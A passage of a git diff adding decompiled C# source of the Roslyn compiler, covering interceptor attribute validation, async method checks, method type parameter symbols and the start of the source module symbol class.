bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorPathNotInCompilationWithUnmappedCandidate, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, attributeSyntaxOpt), text, mapPath(sourceReferenceResolver, val4)); + return; + } + SyntaxTree val5 = ImmutableArrayExtensions.FirstOrDefault(syntaxTrees, (Func)((SyntaxTree tree, (SourceReferenceResolver referenceResolver, string attributeFilePath) pair) => mapPath(pair.referenceResolver, tree).Replace('\\', '/').EndsWith(pair.attributeFilePath)), (sourceReferenceResolver, text.Replace('\\', '/'))); + if (val5 != null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorPathNotInCompilationWithCandidate, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, attributeSyntaxOpt), text, mapPath(sourceReferenceResolver, val5)); + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorPathNotInCompilation, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, attributeSyntaxOpt), text); + } + return; + } + if (syntaxTreesByMappedPath.Count > 1) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorNonUniquePath, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, attributeSyntaxOpt), text); + return; + } + val6 = syntaxTreesByMappedPath[0]; + num3 = num - 1; + num4 = num2 - 1; + if (num3 < 0 || num4 < 0) + { + Location attributeArgumentSyntaxLocation = ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation((num3 < 0) ? 1 : 2, attributeSyntaxOpt); + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorLineCharacterMustBePositive, attributeArgumentSyntaxLocation); + return; + } + TextLineCollection lines = val6.GetText(default(CancellationToken)).Lines; + int count = lines.Count; + if (num3 >= count) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorLineOutOfRange, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(1, attributeSyntaxOpt), count, num); + return; + } + TextLine val7 = lines[num3]; + int num5 = ((TextLine)(ref val7)).End - ((TextLine)(ref val7)).Start; + if (num4 >= num5) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorCharacterOutOfRange, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(2, attributeSyntaxOpt), num5, num2); + return; + } + num6 = ((TextLine)(ref val7)).Start + num4; + val8 = val6.GetRoot(default(CancellationToken)).FindToken(num6, false); + SyntaxToken val9 = val8; + if (((SyntaxToken)(ref val9)).Parent is SimpleNameSyntax simpleNameSyntax) + { + CSharpSyntaxNode parent = simpleNameSyntax.Parent; + if (parent is MemberAccessExpressionSyntax memberAccessExpressionSyntax) + { + if (parent.Parent is InvocationExpressionSyntax && memberAccessExpressionSyntax.Name == simpleNameSyntax) + { + goto IL_04e0; + } + SimpleNameSyntax simpleNameSyntax2 = simpleNameSyntax; + if (memberAccessExpressionSyntax.Name != simpleNameSyntax2) + { + goto IL_04c0; + } + } + else if (parent is InvocationExpressionSyntax invocationExpressionSyntax) + { + SimpleNameSyntax simpleNameSyntax3 = simpleNameSyntax; + if (invocationExpressionSyntax.Expression == simpleNameSyntax3) + { + goto IL_04e0; + } + } + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorNameNotInvoked, location, ((SyntaxToken)(ref val8)).Text); + return; + } + goto IL_04c0; + } + } + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceMethodSymbolWithAttributes.cs", 957); + IL_04c0: + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorPositionBadToken, location, ((SyntaxToken)(ref val8)).Text); + return; + IL_04e0: + TextSpan span = ((SyntaxToken)(ref val8)).Span; + if (num6 != ((TextSpan)(ref span)).Start) + { + FileLinePositionSpan lineSpan = ((SyntaxToken)(ref val8)).GetLocation().GetLineSpan(); + LinePosition startLinePosition = ((FileLinePositionSpan)(ref lineSpan)).StartLinePosition; + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorMustReferToStartOfTokenPosition, location, ((SyntaxToken)(ref val8)).Text, ((LinePosition)(ref startLinePosition)).Line + 1, ((LinePosition)(ref startLinePosition)).Character + 1); + } + else + { + DeclaringCompilation.AddInterception(val6.FilePath, num3, num4, location, this); + } + ArrayBuilder getNamespaceNames() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamespaceSymbol containingNamespace = ContainingNamespace; + while ((object)containingNamespace != null && !containingNamespace.IsGlobalNamespace) + { + instance.Add(containingNamespace.Name); + containingNamespace = containingNamespace.ContainingNamespace; + } + instance.ReverseContents(); + return instance; + } + static bool isDeclaredInNamespace(ArrayBuilder val10, ImmutableArray namespaceSegments) + { + if (namespaceSegments.Length == 1 && namespaceSegments[0] == "global") + { + return true; + } + if (namespaceSegments.Length > val10.Count) + { + return false; + } + for (int i = 0; i < namespaceSegments.Length; i++) + { + if (namespaceSegments[i] != val10[i]) + { + return false; + } + } + return true; + } + static string mapPath(SourceReferenceResolver? referenceResolver, SyntaxTree tree) + { + return ((referenceResolver != null) ? referenceResolver.NormalizePath(tree.FilePath, (string)null) : null) ?? tree.FilePath; + } + static void reportFeatureNotEnabled(BindingDiagnosticBag diagnostics, AttributeSyntax attributeSyntax, ArrayBuilder namespaceNames) + { + if (namespaceNames.Count == 0) + { + diagnostics.Add(ErrorCode.ERR_InterceptorGlobalNamespace, (SyntaxNode)(object)attributeSyntax); + } + else + { + string text2 = "$(InterceptorsPreviewNamespaces);" + string.Join(".", (IEnumerable)namespaceNames) + ""; + diagnostics.Add(ErrorCode.ERR_InterceptorsFeatureNotEnabled, (SyntaxNode)(object)attributeSyntax, text2); + } + } + } + + private void DecodeUnmanagedCallersOnlyAttribute(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag diagnostics = (BindingDiagnosticBag)(object)arguments.Diagnostics; + arguments.GetOrCreateData().UnmanagedCallersOnlyAttributeData = DecodeUnmanagedCallersOnlyAttributeData(this, arguments.Attribute, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, diagnostics); + CheckAndReportValidUnmanagedCallersOnlyTarget((SyntaxNode?)(object)arguments.AttributeSyntaxOpt.Name, diagnostics); + CSharpSyntaxNode cSharpSyntaxNode = this.ExtractReturnTypeSyntax(); + if ((object)cSharpSyntaxNode != CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken))) + { + checkAndReportManagedTypes(base.ReturnType, RefKind, (SyntaxNode)(object)cSharpSyntaxNode, isParam: false, diagnostics); + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + checkAndReportManagedTypes(current.Type, current.RefKind, (SyntaxNode)(object)current.GetNonNullSyntaxNode(), isParam: true, diagnostics); + } + } + static UnmanagedCallersOnlyAttributeData DecodeUnmanagedCallersOnlyAttributeData(SourceMethodSymbolWithAttributes @this, CSharpAttributeData attribute, Location location, BindingDiagnosticBag diagnostics2) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + ImmutableHashSet immutableHashSet = null; + if (!((AttributeData)attribute).CommonNamedArguments.IsDefaultOrEmpty) + { + NamedTypeSymbol wellKnownType = @this.DeclaringCompilation.GetWellKnownType((WellKnownType)61); + ImmutableArray>.Enumerator enumerator2 = ((AttributeData)attribute).CommonNamedArguments.GetEnumerator(); + string text = default(string); + TypedConstant val = default(TypedConstant); + while (enumerator2.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator2.Current, ref text, ref val); + string text2 = text; + TypedConstant value = val; + bool isField = ImmutableArrayExtensions.Any(attribute.AttributeClass.GetMembers(text2), (Func)((Symbol m, NamedTypeSymbol systemType) => m is FieldSymbol { Type: ArrayTypeSymbol { ElementType: NamedTypeSymbol elementType } } && elementType.Equals(systemType, (TypeCompareKind)0)), wellKnownType); + (bool, ImmutableHashSet) tuple = MethodSymbol.TryDecodeUnmanagedCallersOnlyCallConvsField(text2, value, isField, location, diagnostics2); + if (tuple.Item1) + { + immutableHashSet = tuple.Item2; + } + } + } + return UnmanagedCallersOnlyAttributeData.Create(immutableHashSet); + } + static void checkAndReportManagedTypes(TypeSymbol type, RefKind refKind, SyntaxNode syntax, bool isParam, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind != 0) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CannotUseRefInUnmanagedCallersOnly, syntax.Location); + } + ManagedKind managedKindNoUseSiteDiagnostics = type.ManagedKindNoUseSiteDiagnostics; + if (managedKindNoUseSiteDiagnostics - 1 > 1) + { + if ((int)managedKindNoUseSiteDiagnostics != 3) + { + throw ExceptionUtilities.UnexpectedValue((object)type.ManagedKindNoUseSiteDiagnostics); + } + bindingDiagnosticBag.Add(ErrorCode.ERR_CannotUseManagedTypeInUnmanagedCallersOnly, syntax.Location, type, (isParam ? MessageID.IDS_Parameter : MessageID.IDS_Return).Localize()); + } + } + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Invalid comparison between Unknown and I4 + if (symbolPart != AttributeLocation.Return) + { + if ((ContainingSymbol is NamedTypeSymbol { IsComImport: not false, TypeKind: var typeKind } && ((int)typeKind == 2 || (int)typeKind == 7)) ? true : false) + { + MethodKind methodKind = MethodKind; + if ((int)methodKind == 1 || (int)methodKind == 14) + { + if (!IsImplicitlyDeclared) + { + diagnostics.Add(ErrorCode.ERR_ComImportWithUserCtor, GetFirstLocation()); + } + } + else if (!IsAbstract && !IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ComImportWithImpl, GetFirstLocation(), this, ContainingType); + } + } + if (IsExtern && !IsAbstract && !this.IsPartialMethod() && GetInMethodSyntaxNode() == null && boundAttributes.IsEmpty && !ContainingType.IsComImport) + { + ErrorCode code = (((int)MethodKind == 1 || (int)MethodKind == 14) ? ErrorCode.WRN_ExternCtorNoImplementation : ErrorCode.WRN_ExternMethodNoImplementation); + diagnostics.Add(code, GetFirstLocation(), this); + } + } + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + } + + protected void AsyncMethodChecks(BindingDiagnosticBag diagnostics) + { + AsyncMethodChecks(verifyReturnType: true, GetFirstLocation(), diagnostics); + } + + protected void AsyncMethodChecks(bool verifyReturnType, Location errorLocation, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + if (!IsAsync) + { + return; + } + bool flag = false; + TypeSyntax returnTypeSyntax; + if (verifyReturnType) + { + if ((int)RefKind != 0) + { + CSharpSyntaxNode syntaxNode = SyntaxNode; + if (syntaxNode is MethodDeclarationSyntax methodDeclarationSyntax) + { + TypeSyntax returnType = methodDeclarationSyntax.ReturnType; + returnTypeSyntax = returnType; + } + else + { + if (!(syntaxNode is LocalFunctionStatementSyntax localFunctionStatementSyntax)) + { + if (syntaxNode is ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax) + { + TypeSyntax returnType2 = parenthesizedLambdaExpressionSyntax.ReturnType; + if (returnType2 != null) + { + returnTypeSyntax = returnType2; + goto IL_0085; + } + } + throw ExceptionUtilities.UnexpectedValue((object)syntaxNode); + } + TypeSyntax returnType3 = localFunctionStatementSyntax.ReturnType; + returnTypeSyntax = returnType3; + } + goto IL_0085; + } + if (isBadAsyncReturn(this)) + { + diagnostics.Add(ErrorCode.ERR_BadAsyncReturn, errorLocation); + flag = true; + } + } + goto IL_00a8; + IL_0085: + SourceMethodSymbol.ReportBadRefToken(returnTypeSyntax, diagnostics); + flag = true; + goto IL_00a8; + IL_00a8: + if (this.HasAsyncMethodBuilderAttribute(out object _)) + { + MessageID.IDS_AsyncMethodBuilderOverride.CheckFeatureAvailability(diagnostics, (Compilation)(object)DeclaringCompilation, errorLocation); + } + if ((int)MethodKind != 0) + { + NamedTypeSymbol containingType = ContainingType; + while ((object)containingType != null) + { + if (containingType is SourceNamedTypeSymbol { HasSecurityCriticalAttributes: not false }) + { + diagnostics.Add(ErrorCode.ERR_SecurityCriticalOrSecuritySafeCriticalOnAsyncInClassOrStruct, errorLocation); + flag = true; + break; + } + containingType = containingType.ContainingType; + } + } + if ((ImplementationAttributes & MethodImplAttributes.Synchronized) != MethodImplAttributes.IL) + { + diagnostics.Add(ErrorCode.ERR_SynchronizedAsyncMethod, errorLocation); + flag = true; + } + if (!flag) + { + ReportAsyncParameterErrors(diagnostics, errorLocation); + } + NamedTypeSymbol wellKnownType = DeclaringCompilation.GetWellKnownType((WellKnownType)288); + if (base.ReturnType.OriginalDefinition.Equals(wellKnownType) && GetInMethodSyntaxNode() != null) + { + NamedTypeSymbol wellKnownType2 = DeclaringCompilation.GetWellKnownType((WellKnownType)298); + int num = ImmutableArrayExtensions.Count(Parameters, (Func)((ParameterSymbol p) => p.IsSourceParameterWithEnumeratorCancellationAttribute())); + if (num == 0 && ImmutableArrayExtensions.Any(base.ParameterTypesWithAnnotations, (Func)((TypeWithAnnotations p, NamedTypeSymbol cancellationTokenType) => p.Type.Equals(cancellationTokenType)), wellKnownType2)) + { + diagnostics.Add(ErrorCode.WRN_UndecoratedCancellationTokenParameter, errorLocation, this); + } + if (num > 1) + { + diagnostics.Add(ErrorCode.ERR_MultipleEnumeratorCancellationAttributes, errorLocation); + } + } + static bool isBadAsyncReturn(MethodSymbol methodSymbol) + { + TypeSymbol returnType4 = methodSymbol.ReturnType; + CSharpCompilation declaringCompilation = methodSymbol.DeclaringCompilation; + if (!returnType4.IsErrorType() && !returnType4.IsVoidType() && !returnType4.IsIAsyncEnumerableType(declaringCompilation) && !returnType4.IsIAsyncEnumeratorType(declaringCompilation) && !methodSymbol.IsAsyncEffectivelyReturningTask(declaringCompilation)) + { + return !methodSymbol.IsAsyncEffectivelyReturningGenericTask(declaringCompilation); + } + return false; + } + } + + private static FlowAnalysisAnnotations DecodeReturnTypeAnnotationAttributes(ReturnTypeWellKnownAttributeData attributeData) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (attributeData != null) + { + if (attributeData.HasMaybeNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + if (attributeData.HasNotNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + } + return flowAnalysisAnnotations; + } + + private bool IsVtableGapInterfaceMethod() + { + if (ContainingType.IsInterface) + { + return ModuleExtensions.GetVTableGapSize(MetadataName) > 0; + } + return false; + } + + internal override IEnumerable GetSecurityInformation() + { + CustomAttributesBag attributesBag = GetAttributesBag(); + MethodWellKnownAttributeData methodWellKnownAttributeData = (MethodWellKnownAttributeData)(object)attributesBag.DecodedWellKnownAttributeData; + if (methodWellKnownAttributeData != null) + { + SecurityWellKnownAttributeData securityInformation = ((CommonMethodWellKnownAttributeData)methodWellKnownAttributeData).SecurityInformation; + if (securityInformation != null) + { + return securityInformation.GetSecurityAttributes(attributesBag.Attributes); + } + } + return SpecializedCollections.EmptyEnumerable(); + } + + public override DllImportData? GetDllImportData() + { + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return null; + } + return ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).DllImportPlatformInvokeData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodTypeParameterSymbol.cs new file mode 100644 index 0000000..329e202 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodTypeParameterSymbol.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceMethodTypeParameterSymbol : SourceTypeParameterSymbolBase +{ + private readonly SourceMethodSymbol _owner; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)1; + + public override Symbol ContainingSymbol => _owner; + + public override bool HasConstructorConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.Constructor) != 0; + + public override bool HasValueTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.AllValueTypeKinds) != 0; + + public override bool IsValueTypeFromConstraintTypes => (GetConstraintKinds() & TypeParameterConstraintKind.ValueTypeFromConstraintTypes) != 0; + + public override bool HasReferenceTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.ReferenceType) != 0; + + public override bool IsReferenceTypeFromConstraintTypes => (GetConstraintKinds() & TypeParameterConstraintKind.ReferenceTypeFromConstraintTypes) != 0; + + public override bool HasNotNullConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.NotNull) != 0; + + internal override bool? ReferenceTypeConstraintIsNullable => CalculateReferenceTypeConstraintIsNullable(GetConstraintKinds()); + + internal override bool? IsNotNullable + { + get + { + if ((GetConstraintKinds() & TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType) != TypeParameterConstraintKind.None) + { + return null; + } + return CalculateIsNotNullable(); + } + } + + public override bool HasUnmanagedTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.Unmanaged) != 0; + + protected override ImmutableArray ContainerTypeParameters => _owner.TypeParameters; + + public SourceMethodTypeParameterSymbol(SourceMethodSymbol owner, string name, int ordinal, ImmutableArray locations, ImmutableArray syntaxRefs) + : base(name, ordinal, locations, syntaxRefs) + { + _owner = owner; + } + + internal override void AddDeclarationDiagnostics(BindingDiagnosticBag diagnostics) + { + _owner.AddDeclarationDiagnostics(diagnostics); + } + + protected override TypeParameterBounds ResolveBounds(ConsList inProgress, BindingDiagnosticBag diagnostics) + { + ImmutableArray> typeParameterConstraintTypes = _owner.GetTypeParameterConstraintTypes(); + ImmutableArray constraintTypes = (typeParameterConstraintTypes.IsEmpty ? ImmutableArray.Empty : typeParameterConstraintTypes[Ordinal]); + if (constraintTypes.IsEmpty && GetConstraintKinds() == TypeParameterConstraintKind.None) + { + return null; + } + return this.ResolveBounds(ContainingAssembly.CorLibrary, ConsListExtensions.Prepend(inProgress, (TypeParameterSymbol)this), constraintTypes, inherited: false, DeclaringCompilation, diagnostics); + } + + private TypeParameterConstraintKind GetConstraintKinds() + { + ImmutableArray typeParameterConstraintKinds = _owner.GetTypeParameterConstraintKinds(); + if (!typeParameterConstraintKinds.IsEmpty) + { + return typeParameterConstraintKinds[Ordinal]; + } + return TypeParameterConstraintKind.None; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceModuleSymbol.cs new file mode 100644 index 0000000..b3b7bfe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceModuleSymbol.cs @@ -0,0 +1,551 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceModuleSymbol : NonMissingModuleSymbol, IAttributeTargetSymbol +{ + private readonly SourceAssemblySymbol _assemblySymbol; + + private ImmutableArray _lazyAssembliesToEmbedTypesFrom; + + private ThreeState _lazyContainsExplicitDefinitionOfNoPiaLocalTypes; + + private readonly DeclarationTable _sources; + + private SymbolCompletionState _state; + + private CustomAttributesBag _lazyCustomAttributesBag; + + private ImmutableArray _locations; + + private NamespaceSymbol _globalNamespace; + + private bool _hasBadAttributes; + + private ThreeState _lazyUseUpdatedEscapeRules; + + private ThreeState _lazyRequiresRefSafetyRulesAttribute; + + private readonly string _name; + + internal bool HasBadAttributes => _hasBadAttributes; + + internal override int Ordinal => 0; + + internal override Machine Machine + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected I4, but got Unknown + Platform platform = ((CompilationOptions)DeclaringCompilation.Options).Platform; + return (platform - 2) switch + { + 3 => Machine.ArmThumb2, + 0 => Machine.Amd64, + 4 => Machine.Arm64, + 1 => Machine.IA64, + _ => Machine.I386, + }; + } + } + + internal override bool Bit32Required => (int)((CompilationOptions)DeclaringCompilation.Options).Platform == 1; + + internal bool AnyReferencedAssembliesAreLinked => GetAssembliesToEmbedTypesFrom().Length > 0; + + internal bool ContainsExplicitDefinitionOfNoPiaLocalTypes + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyContainsExplicitDefinitionOfNoPiaLocalTypes == 0) + { + _lazyContainsExplicitDefinitionOfNoPiaLocalTypes = ThreeStateHelpers.ToThreeState(NamespaceContainsExplicitDefinitionOfNoPiaLocalTypes(GlobalNamespace)); + } + return (int)_lazyContainsExplicitDefinitionOfNoPiaLocalTypes == 2; + } + } + + public override NamespaceSymbol GlobalNamespace + { + get + { + if ((object)_globalNamespace == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + SourceNamespaceSymbol value = new SourceNamespaceSymbol(this, this, DeclaringCompilation.MergedRootDeclaration, instance); + if (Interlocked.CompareExchange(ref _globalNamespace, value, null) == null) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _globalNamespace; + } + } + + internal sealed override bool RequiresCompletion => true; + + public override ImmutableArray Locations + { + get + { + if (_locations.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _locations, ImmutableArrayExtensions.SelectAsArray(DeclaringCompilation.MergedRootDeclaration.Declarations, (Func)((SingleNamespaceDeclaration d) => (Location)(object)d.Location))); + } + return _locations; + } + } + + public override string Name => _name; + + public override Symbol ContainingSymbol => _assemblySymbol; + + public override AssemblySymbol ContainingAssembly => _assemblySymbol; + + internal SourceAssemblySymbol ContainingSourceAssembly => _assemblySymbol; + + internal override CSharpCompilation DeclaringCompilation => _assemblySymbol.DeclaringCompilation; + + internal override ICollection TypeNames => _sources.TypeNames; + + internal override ICollection NamespaceNames => _sources.NamespaceNames; + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => _assemblySymbol; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Module; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + if (!ContainingAssembly.IsInteractive) + { + return AttributeLocation.Assembly | AttributeLocation.Module; + } + return AttributeLocation.None; + } + } + + internal override bool HasAssemblyCompilationRelaxationsAttribute => ((SourceAssemblySymbol)ContainingAssembly).GetSourceDecodedWellKnownAttributeData()?.HasCompilationRelaxationsAttribute ?? false; + + internal override bool HasAssemblyRuntimeCompatibilityAttribute => ((SourceAssemblySymbol)ContainingAssembly).GetSourceDecodedWellKnownAttributeData()?.HasRuntimeCompatibilityAttribute ?? false; + + internal override CharSet? DefaultMarshallingCharSet + { + get + { + ModuleWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null || !((CommonModuleWellKnownAttributeData)decodedWellKnownAttributeData).HasDefaultCharSetAttribute) + { + return null; + } + return ((CommonModuleWellKnownAttributeData)decodedWellKnownAttributeData).DefaultCharacterSet; + } + } + + public sealed override bool AreLocalsZeroed + { + get + { + ModuleWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return true; + } + return !decodedWellKnownAttributeData.HasSkipLocalsInitAttribute; + } + } + + internal override bool UseUpdatedEscapeRules + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyUseUpdatedEscapeRules == 0) + { + bool flag = _assemblySymbol.DeclaringCompilation.IsFeatureEnabled(MessageID.IDS_FeatureRefFields) || _assemblySymbol.RuntimeSupportsByRefFields; + _lazyUseUpdatedEscapeRules = ThreeStateHelpers.ToThreeState(flag); + } + return (int)_lazyUseUpdatedEscapeRules == 2; + } + } + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + ModuleWellKnownAttributeData obj = (ModuleWellKnownAttributeData)(object)lazyCustomAttributesBag.DecodedWellKnownAttributeData; + if (obj == null) + { + return null; + } + return ((CommonModuleWellKnownAttributeData)obj).ExperimentalAttributeData; + } + if (((SourceAssemblySymbol)ContainingAssembly).GetAttributeDeclarations().IsEmpty) + { + return null; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + internal SourceModuleSymbol(SourceAssemblySymbol assemblySymbol, DeclarationTable declarations, string moduleName) + { + _assemblySymbol = assemblySymbol; + _sources = declarations; + _name = moduleName; + } + + internal void RecordPresenceOfBadAttributes() + { + _hasBadAttributes = true; + } + + internal bool MightContainNoPiaLocalTypes() + { + if (!AnyReferencedAssembliesAreLinked) + { + return ContainsExplicitDefinitionOfNoPiaLocalTypes; + } + return true; + } + + internal ImmutableArray GetAssembliesToEmbedTypesFrom() + { + if (_lazyAssembliesToEmbedTypesFrom.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + if (current.IsLinked) + { + instance.Add(current); + } + } + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyAssembliesToEmbedTypesFrom, instance.ToImmutableAndFree(), default(ImmutableArray)); + } + return _lazyAssembliesToEmbedTypesFrom; + } + + private static bool NamespaceContainsExplicitDefinitionOfNoPiaLocalTypes(NamespaceSymbol ns) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = ns.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind != 11) + { + if ((int)kind == 12 && NamespaceContainsExplicitDefinitionOfNoPiaLocalTypes((NamespaceSymbol)current)) + { + return true; + } + } + else if (((NamedTypeSymbol)current).IsExplicitDefinitionOfNoPiaLocalType) + { + return true; + } + } + return false; + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return _state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.StartBaseType: + { + BindingDiagnosticBag bindingDiagnosticBag = null; + if 